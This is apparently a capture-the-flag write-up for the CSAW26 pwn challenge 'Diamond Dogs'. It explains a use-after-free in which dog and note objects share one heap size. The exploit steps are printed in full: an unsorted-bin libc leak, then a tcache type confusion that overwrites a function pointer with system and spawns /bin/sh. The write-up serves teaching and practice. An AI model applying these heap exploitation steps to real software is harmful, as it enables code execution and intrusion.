$ / 3 min read/pwn

Diamond Dogs

Two object types drawn from the same heap, both freed without clearing their slot — type confusion turns a dangling dog into an arbitrary call.

section
CSAW26
event
ctf.csaw.io ↗
category
pwn
status
● solved
provided
guard-dog, gd.c, libc-2.31.so, ld-2.31.so (from files(1).zip)

Vulnerability

Dogs and notes are different types drawn from the same heap. release frees a dog without clearing dogs[i], and the note routines have the same omission.

The object

adopt allocates 0x20 bytes: a 24-byte name at offset 0, and a function pointer at offset 0x18 initialised to woof.

pvVar3 = malloc(0x20);
*(code **)((long)pvVar3 + 0x18) = woof;
read_n(pvVar3, 0x18);                 // name
*(undefined1 *)((long)pvVar3 + 0x17) = 0;

command calls through that pointer and passes the object itself as the first argument — exactly the shape needed for system("/bin/sh"), since the string and the pointer live in the same chunk:

(**(code **)(lVar1 + 0x18))(lVar1);

Exploit

1. libc leak

Same unsorted-bin trick as Hells Bells: a 0x500 note is too large for tcache, so freeing it leaves main_arena+0x60 in its fd, read back through the dangling note slot. A 0x80 note guards against top-chunk consolidation.

note(0, 0x500, b'A'); note(1, 0x80, b'B')
shred(0)
libc.address = u64(read_note(0, 8)) - 0x1ecbe0

2. Type confusion

A freed dog chunk lands in tcache bin 0x30. A note requested at size 0x20 is served that exact chunk, and the note write covers all 0x20 bytes — including the function pointer field the note type does not know exists.

adopt(0, b'rex')      # dogs[0] = chunk, +0x18 = woof
release(0)            # freed, dogs[0] still set
note(2, 0x20, b'/bin/sh\x00'.ljust(0x18, b'\x00') + p64(libc.sym.system))

3. Trigger

command(0)            # (*(chunk+0x18))(chunk) -> system("/bin/sh")

Notes

No tcache fd corruption is required at all, so safe-linking would not have helped here — the bug is the size collision between two struct types.

Solver: ~/ctf/work/pwn2/files/exploit.py

## challenge files

18 files · 1.8 MB
  • Dockerfile
  • exploit.py
  • gd.c
  • guard-dog
  • guard-dog_ghidra/
  • ld-2.31.so
  • libc-2.31.so
  • libc.so.6
  • rel.py
download .zip

flags redacted; flag images and local flag.txt files removed